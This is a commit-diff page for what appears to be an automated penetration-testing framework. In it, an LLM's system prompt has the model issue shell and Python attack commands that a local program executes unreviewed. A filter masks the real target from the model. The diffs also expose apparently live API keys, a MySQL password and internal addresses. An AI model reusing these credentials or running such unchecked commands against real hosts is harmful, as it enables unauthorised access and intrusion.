Compare commits

...

4 Commits

Author SHA1 Message Date
张龙 360e168c7e v0.5.3 3 weeks ago
张龙 32c6f2f65a v0.5.3 3 weeks ago
张龙 b7d4ff8208 v0.5.2 3 weeks ago
张龙 5be8cf2745 v0.5.1 4 weeks ago
  1. 9
      .idea/deployment.xml
  2. 2
      .idea/misc.xml
  3. 2
      .idea/zf_safe.iml
  4. 8
      config.yaml
  5. 2
      my.cnf
  6. 127
      mycode/AttackMap.py
  7. 47
      mycode/DBManager.py
  8. 20
      mycode/DataFilterManager.py
  9. 2
      mycode/InstructionManager.py
  10. 150
      mycode/LLMManager.py
  11. 17
      mycode/PythonTManager.py
  12. 145
      mycode/PythoncodeTool.py
  13. 9
      mycode/TargetManager.py
  14. 173
      mycode/TaskManager.py
  15. 464
      mycode/TaskObject.py
  16. 9
      mycode/WebSocketManager.py
  17. 39
      pipfile
  18. 6
      run.py
  19. 168
      test.py
  20. 92
      tools/CurlTool.py
  21. 42
      tools/EchoTool.py
  22. 81
      tools/FtpTool.py
  23. 17
      tools/GobusterTool.py
  24. 3
      tools/HydraTool.py
  25. 112
      tools/MysqlTool.py
  26. 45
      tools/NcTool.py
  27. 40
      tools/NmapTool.py
  28. 43
      tools/OpensslTool.py
  29. 26
      tools/OtherTool.py
  30. 2
      tools/SshTool.py
  31. 2
      tools/ToolBase.py
  32. 3
      web/API/system.py
  33. 49
      web/API/task.py
  34. 24
      web/API/user.py
  35. 8
      web/API/wsm.py
  36. 8
      web/__init__.py
  37. 12
      web/common/utils.py
  38. 81
      web/main/static/resources/css/node_tree.css
  39. 736
      web/main/static/resources/scripts/his_task_modal.js
  40. 7
      web/main/static/resources/scripts/my_web_socket.js
  41. 344
      web/main/static/resources/scripts/node_tree.js
  42. 122
      web/main/static/resources/scripts/task_manager.js
  43. 2
      web/main/templates/assets_manager.html
  44. 2
      web/main/templates/header.html
  45. 93
      web/main/templates/his_task.html
  46. 98
      web/main/templates/index.html
  47. 49
      web/main/templates/task_manager.html
  48. 19
      web/main/templates/task_manager_modal.html
  49. 2
      web/main/templates/user_manager.html
  50. 2
      web/main/templates/vul_manager.html

9
.idea/deployment.xml

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project version="4"> <project version="4">
<component name="PublishConfigData" autoUpload="Always" serverName="root@192.168.204.136:22 password" remoteFilesAllowedToDisappearOnAutoupload="false"> <component name="PublishConfigData" autoUpload="Always" serverName="root@192.168.3.151:22" remoteFilesAllowedToDisappearOnAutoupload="false">
<serverData> <serverData>
<paths name="root@192.168.204.136:22 password"> <paths name="root@192.168.204.136:22 password">
<serverdata> <serverdata>
@ -16,6 +16,13 @@
</mappings> </mappings>
</serverdata> </serverdata>
</paths> </paths>
<paths name="root@192.168.3.151:22">
<serverdata>
<mappings>
<mapping deploy="/mnt/zfsafe" local="$PROJECT_DIR$" />
</mappings>
</serverdata>
</paths>
<paths name="root@192.168.3.48:22"> <paths name="root@192.168.3.48:22">
<serverdata> <serverdata>
<mappings> <mappings>

2
.idea/misc.xml

@ -1,4 +1,4 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project version="4"> <project version="4">
<component name="ProjectRootManager" version="2" project-jdk-name="Remote Python 3.12.9 (sftp://root@192.168.204.136:22/usr/bin/python)" project-jdk-type="Python SDK" /> <component name="ProjectRootManager" version="2" project-jdk-name="Remote Python 3.8.20 (sftp://root@192.168.3.151:22/root/miniconda3/envs/py38/bin/python)" project-jdk-type="Python SDK" />
</project> </project>

2
.idea/zf_safe.iml

@ -2,7 +2,7 @@
<module type="PYTHON_MODULE" version="4"> <module type="PYTHON_MODULE" version="4">
<component name="NewModuleRootManager"> <component name="NewModuleRootManager">
<content url="file://$MODULE_DIR$" /> <content url="file://$MODULE_DIR$" />
<orderEntry type="jdk" jdkName="Remote Python 3.12.9 (sftp://root@192.168.204.136:22/usr/bin/python)" jdkType="Python SDK" /> <orderEntry type="jdk" jdkName="Remote Python 3.8.20 (sftp://root@192.168.3.151:22/root/miniconda3/envs/py38/bin/python)" jdkType="Python SDK" />
<orderEntry type="sourceFolder" forTests="false" /> <orderEntry type="sourceFolder" forTests="false" />
</component> </component>
</module> </module>

8
config.yaml

@ -1,5 +1,6 @@
#工作模式 #工作模式
App_Work_type: 0 #开发模式,只允许单步模式 App_Work_type: 0 #0-开发模式,只允许单步模式 1-生产模式 包裹下的逻辑可以正常执行
max_run_task: 3 #允许同时运行的任务数
#线程休眠的时间 #线程休眠的时间
sleep_time: 20 sleep_time: 20
@ -18,9 +19,12 @@ mysql:
passwd: anan2013@BABY passwd: anan2013@BABY
database: zfsafe database: zfsafe
#LLM-Type #LLM
LLM_max_chain_count: 10 #为了避免推理链过长,造成推理效果变差,应该控制一个推理链的长度上限 LLM_max_chain_count: 10 #为了避免推理链过长,造成推理效果变差,应该控制一个推理链的长度上限
#Node
max_do_sn: 15 #同一节点最多执行5次指令
#用户初始密码 #用户初始密码
pw: zfkj_123!@# pw: zfkj_123!@#

2
my.cnf

@ -0,0 +1,2 @@
[mysql.connector]
default-character-set = utf8

127
mycode/AttackMap.py

@ -14,14 +14,6 @@ class AttackTree:
def set_root(self,root_node): def set_root(self,root_node):
self.root = root_node self.root = root_node
def add_node(self,parent_name,new_node):
"""根据父节点名称添加新节点"""
parent_node = self.find_node_by_name(parent_name)
if parent_node:
parent_node.add_child(new_node,parent_node.messages)
return True
return False
def traverse_bfs(self): def traverse_bfs(self):
"""广度优先遍历""" """广度优先遍历"""
if not self.root: if not self.root:
@ -58,6 +50,7 @@ class AttackTree:
"node_bwork":node.bwork, "node_bwork":node.bwork,
"node_vultype":node.vul_type, "node_vultype":node.vul_type,
"node_vulgrade":node.vul_grade, "node_vulgrade":node.vul_grade,
"node_vulinfo":node.vul_info,
"node_workstatus":node.get_work_status(), "node_workstatus":node.get_work_status(),
"children":[self.node_to_dict(child) for child in node.children] if node.children else [] "children":[self.node_to_dict(child) for child in node.children] if node.children else []
} }
@ -75,33 +68,34 @@ class AttackTree:
return node return node
return None return None
def find_node_by_nodepath_parent(self,node_path,node,iadd_node,commands): #返回需要插入测试指令的节点
def find_node_by_nodepath_parent(self,node_path,cur_node,iadd_node,commands):
node_names = node_path.split('->') node_names = node_path.split('->')
node_name = node_names[-1] node_name = node_names[-1] #返回指令对应的节点名称
if node_name == node.name:#当前节点 if node_name == cur_node.name:#当前节点
if iadd_node == 1 and len(node.children)==1: #如果在当前节点下添加了一个子节点,且子节点没有添加指令,就算指令的节点路径是当前节点,也把该测试指令添加给新增的子节点 if iadd_node == 1 and len(cur_node.children)==1: #如果在当前节点下添加了一个子节点,且子节点没有添加指令,就算指令的节点路径是当前节点,也把该测试指令添加给新增的子节点
bfind = False bfind = False
for comd in commands: for comd in commands:
if node.children[0].name in comd: if cur_node.children[0].name in comd:
bfind = True bfind = True
break break
if not bfind: #正常来说on_instruction已经补充指令了,已经不会有这种情况了,缺点 if not bfind: #正常来说on_instruction已经补充指令了,已经不会有这种情况了,缺点
print("执行了一次强制迁移指令到子节点!") print("执行了一次强制迁移指令到子节点!")
return node.children[0] return cur_node.children[0]
else: else:#正常应该都有指令
return node return cur_node
else: else:
#添加了多个节点就难对应是哪个节点了,两个解决方案:1.返回当前节点,2.提交llm重新确认指令节点 #添加了多个节点就难对应是哪个节点了,两个解决方案:1.返回当前节点,2.提交llm重新确认指令节点
return node return cur_node
else: else:
if node_names[-2] == node.name: #父节点是当前节点 if node_names[-2] == cur_node.name: #父节点是当前节点
for child_node in node.children: for child_node in cur_node.children:
if child_node.name == node_name: if child_node.name == node_name:
return child_node return child_node
#走到这说明没有匹配到-则新建一个节点 # #走到这说明没有匹配到-则新建一个节点-
newNode = TreeNode(node_name,node.task_id) # newNode = TreeNode(node_name,cur_node.task_id)
node.add_child(newNode,node.messages) # cur_node.add_child(newNode,cur_node.messages)
return newNode return None
else: else:
return None #约束:不处理 return None #约束:不处理
@ -184,6 +178,7 @@ class TreeNode:
self.status = status # 节点测试状态 -- 由llm返回指令触发更新 self.status = status # 节点测试状态 -- 由llm返回指令触发更新
#work_status需要跟两个list统一管理:初始0,入instr_queue为1,入instr_node_mq为2,入res_queue为3,入llm_node_mq为4,llm处理完0或1 #work_status需要跟两个list统一管理:初始0,入instr_queue为1,入instr_node_mq为2,入res_queue为3,入llm_node_mq为4,llm处理完0或1
self._work_status = 0 #0-无任务,1-待执行测试指令,2-执行指令中,3-待提交Llm,4-提交llm中, 2025-4-6新增,用来动态显示节点的工作细节。 self._work_status = 0 #0-无任务,1-待执行测试指令,2-执行指令中,3-待提交Llm,4-提交llm中, 2025-4-6新增,用来动态显示节点的工作细节。
#self.work_status_lock = threading.Lock() ---节点不能有锁
self.vul_type = vul_type # 漏洞类型--目前赋值时没拆json self.vul_type = vul_type # 漏洞类型--目前赋值时没拆json
self.vul_name = "" self.vul_name = ""
self.vul_grade = "" self.vul_grade = ""
@ -191,7 +186,8 @@ class TreeNode:
self.children = [] # 子节点列表 self.children = [] # 子节点列表
self.parent = None # 父节点引用 self.parent = None # 父节点引用
self.path = "" #当前节点的路径 self.path = "" #当前节点的路径
self.messages = [] # 针对当前节点积累的messages -- 针对不同节点提交不同的messages self.parent_messages = [] #2024-4-23调整messages保存和传递策略,分两块,parent_messages是保留以前节点的messages
self.cur_messages = [] # 针对当前节点积累的messages -- 针对不同节点提交不同的messages messages保留当前节点执行的messages
self.llm_type = 0 #llm提交类型 0--初始状态无任务状态,1--指令结果反馈,2--llm错误反馈 self.llm_type = 0 #llm提交类型 0--初始状态无任务状态,1--指令结果反馈,2--llm错误反馈
self.llm_sn = 0 #针对该节点llm提交次数 self.llm_sn = 0 #针对该节点llm提交次数
@ -210,65 +206,74 @@ class TreeNode:
self.cookie = cookie self.cookie = cookie
self.ext_info = ext_info self.ext_info = ext_info
def copy_messages(self,childe_node,messages): def copy_messages(self,p_msg,c_msg): #2025-4-23修改用做给本节点加msg
''' '''
子节点继承父节点的messages目前规则保留上两层节点的message信息 当前节点添加mesg,约束p_msg除system只取两层c_msg:只取最后两个
:param childe_node: :param p_msg: 传递指令过来的节点的lis-msg --取传递过来的节点和parent
:param c_msg: 传递指令过来的节点的当前节点-msg
:return: :return:
''' '''
tmp_messages = copy.deepcopy(messages) if not p_msg or not c_msg:
if not self.parent: print("Messages存储存在问题!需要立即检查逻辑!")
childe_node.messages = tmp_messages return
else:#修改messages传递规则后,messages丢弃逻辑有待进一步验证 tmp_pmsg = copy.deepcopy(p_msg)
parent_path = self.parent.path tmp_cmsg = copy.deepcopy(c_msg)
if not self.parent.parent: #正常来说self.parent肯定会有的,root节点不会触发copy_messages
#如果路径不超过两级,pmsg都保留
self.parent_messages = tmp_pmsg
else: #如果超过两级了,就需要判断了
pp_node_name = self.parent.parent.name
bfind = False bfind = False
for msg in tmp_messages: for msg in tmp_pmsg:
if msg["role"] == "system": if msg["role"] == "system":
childe_node.messages.append(msg) self.parent_messages.append(msg)
elif msg["role"] == "user": else:
if not bfind: if not bfind:
#获取user的node_path if msg["role"] == "user":
content = msg["content"] content = msg["content"]
pattern = r"当前分支路径:(.+?)\n" if pp_node_name in content: #节点名称在内容中就代表跟该节点相关
match = re.search(pattern, content) bfind = True
if match: self.parent_messages.append(msg)
path = match.group(1) else:#当二级父节点出行后,后面数据应该都是二级内的数据
if parent_path in path:#当前节点的父节点路径在存入子节点messages self.parent_messages.append(msg)
childe_node.messages.append(msg) #cmsg --取最后两轮
bfind = True #后续messages都保留 if len(tmp_cmsg) <=4: #cmsg全收
else: self.parent_messages.extend(tmp_cmsg)
print("提交的用户提示词结构有问题!")
else:
childe_node.messages.append(msg)
elif msg["role"] == "assistant":
if bfind:
childe_node.messages.append(msg)
else: else:
print("非法的信息体类型!") isart = len(tmp_cmsg) - 4 #正常应该都是两个两个
if isart % 2 != 0:
print("c_msg数量不对称,需要检查逻辑!")
for msg in tmp_cmsg[isart:]:
self.parent_messages.append(msg)
#添加子节点 #添加子节点
def add_child(self, child_node,messages): def add_child(self, child_node):
child_node.parent = self child_node.parent = self
child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值 child_node.path = self.path + f"->{child_node.name}" #子节点的路径赋值
#child_node.messages = copy.deepcopy(self.messages) #传递messages #给什么时候的messages待验证#?
self.copy_messages(child_node,messages) #传递messages--只保留两层--两层的逻辑要验证
self.children.append(child_node) self.children.append(child_node)
#修改节点的执行状态--return bchange #修改节点的执行状态--return bchange
def update_work_status(self,work_status): def update_work_status(self,work_status):
if self._work_status == work_status: bsuccess = False
return False if self._work_status != work_status:
self._work_status = work_status self._work_status = work_status
return True bsuccess = True
return bsuccess
def get_work_status(self): def get_work_status(self):
#加锁有没有意义--待定 #加锁有没有意义---web端和本身的工作线程会有同步问题,但与持久化相比,暂时忽略
return self._work_status work_status = self._work_status
return work_status
#-------后期扩充逻辑,目前wokr_status的修改交给上层类对象------- #-------后期扩充逻辑,目前wokr_status的修改交给上层类对象-------
def add_instr(self,instr): def add_instr(self,instr,p_msg,c_msg):
if not self.parent_messages: #为空时赋值
self.copy_messages(p_msg,c_msg)
self._instr_queue.append(instr)
def test_add_instr(self,instr):
self._instr_queue.append(instr) self._instr_queue.append(instr)
self._llm_quere = []
def get_instr(self): def get_instr(self):
return self._instr_queue.pop(0) if self._instr_queue else None return self._instr_queue.pop(0) if self._instr_queue else None

47
mycode/DBManager.py

@ -161,11 +161,11 @@ class DBManager:
return data return data
def get_run_tasks(self): def get_run_tasks(self):
strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type from task where task_status <> 2;" strsql = "select ID,task_target,task_status,work_type,cookie_info,llm_type,safe_rank,fake_target from task where task_status <> 2 order by ID;"
datas = self.do_select(strsql) datas = self.do_select(strsql)
return datas return datas
def start_task(self,test_target,cookie_info,work_type,llm_type) -> int: def start_task(self,test_target,cookie_info,work_type,llm_type,fake_target) -> int:
''' '''
数据库添加检测任务 数据库添加检测任务
:param task_name: :param task_name:
@ -174,9 +174,9 @@ class DBManager:
''' '''
task_id =0 task_id =0
start_time = get_local_timestr() start_time = get_local_timestr()
sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type) " \ sql = "INSERT INTO task (task_name,task_target,start_time,task_status,safe_rank,work_type,cookie_info,llm_type,fake_target) " \
"VALUES (%s,%s,%s,%s,%s,%s,%s,%s)" "VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)"
params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type) params = (test_target,test_target,start_time,1,0,work_type,cookie_info,llm_type,fake_target)
bok,task_id = self.safe_do_sql(sql,params,1) bok,task_id = self.safe_do_sql(sql,params,1)
return task_id return task_id
@ -186,6 +186,19 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql, params) bok,_ = self.safe_do_sql(strsql, params)
return bok return bok
#0<-->1
def update_task_status(self,task_id,new_status):
strsql = "update task set task_status=%s where ID=%s;"
params = (new_status,task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def update_task_work_type(self,task_id,new_work_type):
strsql = "update task set work_type=%s where ID=%s;"
params = (new_work_type, task_id)
bok, _ = self.safe_do_sql(strsql, params)
return bok
def del_task(self,task_id): def del_task(self,task_id):
params = (task_id) params = (task_id)
strsql = "delete from task where ID=%s;" strsql = "delete from task where ID=%s;"
@ -277,13 +290,11 @@ class DBManager:
strsql = ''' strsql = '''
select ID,node_path,do_sn,instruction,result from task_result where task_id = %s select ID,node_path,do_sn,instruction,result from task_result where task_id = %s
''' '''
params = [task_id]
if nodename.strip(): if nodename.strip():
strsql += " and nodename like %s;" strsql += " and node_path like %s"
params = (task_id,nodename) params.append(f"%{nodename}%") # 在参数中添加通配符
else: datas = self.safe_do_select(strsql,tuple(params))
strsql += ";"
params = (task_id)
datas = self.safe_do_select(strsql,params)
return datas return datas
#插入漏洞数据 #插入漏洞数据
@ -308,12 +319,12 @@ class DBManager:
# 按需添加其他条件 # 按需添加其他条件
if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后) if nodename and nodename.strip(): # 检查nodename是否非空(去除前后空格后)
conditions.append("node_path=%s") conditions.append("node_path like %s")
params.append(nodename) params.append(f"%{nodename}%")
if vultype and vultype.strip(): # 检查vultype是否非空 if vultype and vultype.strip(): # 检查vultype是否非空
conditions.append("vul_type=%s") conditions.append("vul_type like %s")
params.append(vultype) params.append(f"%{vultype}%")
if vullevel and vullevel.strip(): # 检查vullevel是否非空 if vullevel and vullevel.strip(): # 检查vullevel是否非空
conditions.append("vul_level=%s") conditions.append("vul_level=%s")
@ -387,6 +398,12 @@ class DBManager:
bok,_ = self.safe_do_sql(strsql,params) bok,_ = self.safe_do_sql(strsql,params)
return bok return bok
def get_one_instr(self,instr_id):
strsql = "select instruction from task_result where ID = %s"
params = (instr_id)
data = self.safe_do_select(strsql,params,1)
return data[0]
def test(self): def test(self):
# 建立数据库连接 # 建立数据库连接

20
mycode/DataFilterManager.py

@ -0,0 +1,20 @@
class DataFilterManager:
def __init__(self,target,fake_target):
self.real_target = target
self.fake_target = fake_target
def filter_prompt(self,prompt):
fake_prompt = prompt.replace(self.real_target,self.fake_target)
return fake_prompt
def filter_instruction(self,instruction):
real_instruction = instruction.replace(self.fake_target,self.real_target)
return real_instruction
def filter_result(self,instr,result):
fake_instr = instr.replace(self.real_target,self.fake_target)
fake_result = result.replace(self.real_target,self.fake_target)
return fake_instr,fake_result

2
mycode/InstructionManager.py

@ -73,7 +73,7 @@ class InstructionManager:
print(f"未知工具:{tool_name}") print(f"未知工具:{tool_name}")
#return bres,instr,result,source_result,ext_params #return bres,instr,result,source_result,ext_params
return instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态 return bres,instr, result, source_result, ext_params #取消bres的返回,所有指令执行结果多需要返回到Llm,用于控制节点的状态
#过来指令:合规、判重、待执行等 #过来指令:合规、判重、待执行等
def _instruction_filter(self,instruction): def _instruction_filter(self,instruction):

150
mycode/LLMManager.py

@ -8,6 +8,7 @@ import json
import re import re
import os import os
from openai import OpenAI from openai import OpenAI
from openai import OpenAIError, APIConnectionError, APITimeoutError
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from myutils.MyTime import get_local_timestr from myutils.MyTime import get_local_timestr
from myutils.MyLogger_logger import LogHandler from myutils.MyLogger_logger import LogHandler
@ -19,7 +20,6 @@ class LLMManager:
self.api_url = None self.api_url = None
#temperature设置 #temperature设置
#DS------代码生成/数学解题:0.0 -- 数据抽取/分析:1.0 -- 通用对话:1.3 -- 翻译:1.3 -- 创意类写作:1.5
if illm_type == 0: #腾讯云 if illm_type == 0: #腾讯云
self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc" self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc"
self.api_url = "" self.api_url = ""
@ -27,13 +27,10 @@ class LLMManager:
self.api_key ="sk-10360148b465424288218f02c87b0e1b" self.api_key ="sk-10360148b465424288218f02c87b0e1b"
self.api_url ="https://api.deepseek.com/v1" self.api_url ="https://api.deepseek.com/v1"
self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3 self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
elif illm_type == 2: #2233.ai elif illm_type == 2: #2233.ai
self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD" self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD"
self.api_url = "https://api.gptsapi.net/v1" self.api_url = "https://api.gptsapi.net/v1"
self.model = "o3-mini-2025-01-31" self.model = "o3-mini-2025-01-31"
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url)
elif illm_type ==3: #GPT elif illm_type ==3: #GPT
# 定义代理服务器地址 # 定义代理服务器地址
proxy_url = "http://192.168.3.102:3128" proxy_url = "http://192.168.3.102:3128"
@ -42,11 +39,17 @@ class LLMManager:
self.api_key ="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" self.api_key ="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"
self.api_url = "https://api.openai.com/v1" self.api_url = "https://api.openai.com/v1"
self.model = "o3-mini-2025-01-31" self.model = "o3-mini-2025-01-31"
openai.proxy = proxy_url openai.proxy = proxy_url
openai.api_key = self.api_key openai.api_key = self.api_key
#self.client = openai elif illm_type ==4:#通义Qwen3
self.client = OpenAI(api_key=self.api_key,base_url=self.api_url) self.api_key ="sk-48028b85e7604838b5be5bf6a90222cb"
self.api_url ="https://dashscope.aliyuncs.com/compatible-mode/v1"
self.model = "qwen3-235b-a22b"
else:
self.logger.error("模型参数选择异常!")
return
# 创建会话对象 -- 一个任务的LLM必须唯一
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
''' '''
**决策原则** **决策原则**
@ -59,35 +62,36 @@ class LLMManager:
if not node: if not node:
return return
#根节点初始化message----后续有可能需要为每个LLM生成不同的system msg #根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
node.messages = [{"role": "system", node.parent_messages = [{"role": "system",
"content":''' "content":'''
你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试 你是一位渗透测试专家来指导本地程序进行渗透测试由你负责动态控制整个渗透测试过程根据当前测试状态和返回结果决定下一步测试指令推动测试前进直至完成渗透测试
**总体要求** **总体要求**
1.以测试目标为根节点每个渗透测试点如端口服务漏洞点等作为子节点形成树型结构测试树层层递进 1.以测试目标为根节点结合信息收集和测试反馈的结果以新的测试点作为子节点逐步规划和推进下一步测试形成树型结构测试树测试点需尽量全面
2.每次规划测试方案时只需要关注当前节点的测试推进状态更新(未完成/已完成)以及是否有子节点新增 2.只有当收到当前节点的所有测试指令的结果且没有新的测试指令需要执行时再判断是否需要新增子节点进一步进行验证测试若没有则结束该路径的验证
3.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明 3.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有新增的节点未能匹配测试指令必须返回未匹配指令的节点列表
4.本地程序会执行生成的指令但不具备分析和判断能力只会把执行结果返回给你执行结果应尽量规避无效的信息 4.生成的指令有两类节点指令和测试指令指令之间必须以空行间隔不能包含注释和说明
5.除信息收集外需要为每个测试验证的漏洞点新增节点,同时生成对应的测试指令 5.本地程序会执行生成的指令但不具备分析判断和保持会话能力只会把执行结果返回提交
6.若一次性新增的节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整性若有未生成测试指令的节点必须返回未生成指令节点列表 6.只有当漏洞验证成功后才添加该节点的漏洞信息
7.若漏洞验证成功则根据结果评估是否有进一步测试的必要若有则为测试内容新增子节点并提供测试指令若没有则结束该节点测试 7.若无需要处理的节点数据节点指令可以不生成
8.当当前节点没有新的测试指令时更新状态为已完成 8.若节点已完成测试测试指令可以不生成
9.若无需要处理的节点数据节点指令可以不生成
**测试指令生成准则** **测试指令生成准则**
1.使用递进逻辑组织指令先尝试基础测试方法根据执行结果决定是否进行更深入的测试不要同时生成测试效果覆盖的指令 1.可以是dash指令也可以是python指令必须按格式要求生成
2.不要生成有前后执行关系的多条shell指令若不能放一条shell指令内执行请提供对应的python指令 2.必须对应已有节点或同时生成新增节点指令
3.优先使用覆盖面广成功率高的指令不要生成重复的指令
4.若需要多条指令配合测试请生成对应的python指令完成闭环返回
5.避免用户交互必须要能返回
**节点指令格式** **节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"}; - 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 未生成指令节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"}; - 匹配指令的节点列表{\"action\": \"no_instruction\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; - 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 完成测试{\"action\": \"end_work\", \"node\": \"节点\"}; - 节点完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式** **测试指令格式**
- dash指令```dash-[节点路径]指令内容```包裹需要避免用户交互若涉及到多步指令请生成python指令 - dash指令```dash-[节点路径]指令内容```包裹若涉及到多步指令请生成python指令
- python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output) - python指令```python-[节点路径]指令内容```包裹主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output)
- [节点路径]为从根节点到目标节点的完整层级路径 - [节点路径]为从根节点到目标节点的完整层级路径
**核心要求** **核心要求**
- 指令之间必须要有一个空行 - 指令之间必须要有一个空行
- 需确保测试指令的节点路径和指令的目标节点一致 - 需确保测试指令的节点路径和指令的目标节点一致,例如针对子节点的测试指令节点路径不能指向当前节点
- 所有测试指令必须要能返回
**响应示例** **响应示例**
{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"} {\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
@ -97,7 +101,7 @@ mysql -u root -p 192.168.1.100
'''}] # 一个messages '''}] # 一个messages
# 调用LLM生成指令 # 调用LLM生成指令
def get_llm_instruction(self,prompt,node): def get_llm_instruction(self,prompt,node,DataFilter):
''' '''
1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发 1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发
:param prompt:用户本次输入的内容 :param prompt:用户本次输入的内容
@ -105,50 +109,79 @@ mysql -u root -p 192.168.1.100
''' '''
#添加本次输入入该节点的message队列 #添加本次输入入该节点的message队列
message = {"role":"user","content":prompt} message = {"role":"user","content":prompt}
node.messages.append(message) #更新节点message node.cur_messages.append(message) #更新节点message
sendmessage = []
sendmessage.extend(node.parent_messages)
sendmessage.extend(node.cur_messages)
#提交LLM #提交LLM
post_time = get_local_timestr() #准备请求参数
params = {
"model": self.model,
"messages": sendmessage,
}
# 某些模型额外的参数
stream = False
if self.model == "o3-mini-2025-01-31": if self.model == "o3-mini-2025-01-31":
response = self.client.chat.completions.create( params["reasoning_effort"] = "high"
model=self.model, elif self.model == "qwen3-235b-a22b":
reasoning_effort="high", stream = True
messages = node.messages params["stream"] = stream
) params["extra_body"] = {"enable_thinking": True,"thinking_budget": 3000}
else:
response = self.client.chat.completions.create( try:
model=self.model, # 调用 API
messages=node.messages response = self.client.chat.completions.create(**params)
) except APITimeoutError:
self.logger.error("LLM API 请求超时")
return False, "","","", f"调用超时(model={self.model})"
except APIConnectionError as e:
self.logger.error(f"网络连接错误: {e}")
return False, "","", "", "网络连接错误"
except OpenAIError as e:
# 包括 400/401/403/500 等各种 API 错误
self.logger.error(f"LLM API 错误: {e}")
return False, "","", "", f"API错误: {e}"
except Exception as e:
# 兜底,防止意外
self.logger.exception("调用 LLM 时出现未预期异常")
return False, "","", "", f"未知错误: {e}"
#LLM返回结果处理
reasoning_content = "" reasoning_content = ""
content = "" content = ""
if stream: #流式模式
is_answering = False
for chunk in response:
if not chunk.choices:
continue
delta = chunk.choices[0].delta
if hasattr(delta, "reasoning_content") and delta.reasoning_content is not None:
reasoning_content += delta.reasoning_content
# 收到content,开始进行回复
if hasattr(delta, "content") and delta.content:
if not is_answering:
is_answering = True
content += delta.content
else:
#LLM返回结果处理
choice = response.choices[0].message
#LLM返回处理 #LLM返回处理
if self.model == "deepseek-reasoner": if self.model == "deepseek-reasoner":
#返回错误码:DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes reasoning_content = getattr(choice, "reasoning_content", "")
reasoning_content = response.choices[0].message.reasoning_content #推理过程 content = choice.content
#print(reasoning_content) elif self.model == "o3-mini-2025-01-31" or self.model == "qwen-max-latest":
content = response.choices[0].message.content #推理内容 content = choice.content
#print(content)
# 记录llm历史信息
node.messages.append({'role': 'assistant', 'content': content})
elif self.model == "deepseek-chat":
content = response.choices[0].message
# 记录llm历史信息
node.messages.append(content)
elif self.model == "o3-mini-2025-01-31":
reasoning_content = "" #gpt不返回推理内容
content = response.choices[0].message.content
print(content)
# 记录llm历史信息
node.messages.append({'role': 'assistant', 'content': content})
else: else:
self.logger.error("处理到未预设的模型!") self.logger.error("处理到未预设的模型!")
return "","","","","" return False,"","","","处理到未预设的模型!"
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
print(content)
real_con = DataFilter.filter_instruction(content)
#按格式规定对指令进行提取 #按格式规定对指令进行提取
node_cmds,commands = self.fetch_instruction(content) node_cmds,commands = self.fetch_instruction(real_con)
return node_cmds,commands,reasoning_content, content, post_time return True,node_cmds,commands,reasoning_content, content
def fetch_instruction(self,response_text): def fetch_instruction(self,response_text):
''' '''
@ -162,6 +195,7 @@ mysql -u root -p 192.168.1.100
:param text: 输入文本 :param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks :return: node_cmds,python_blocks,shell_blocks
''' '''
#针对llm的回复,提取节点操作数据和执行的指令---- #针对llm的回复,提取节点操作数据和执行的指令----
# 正则匹配 Python 代码块 # 正则匹配 Python 代码块
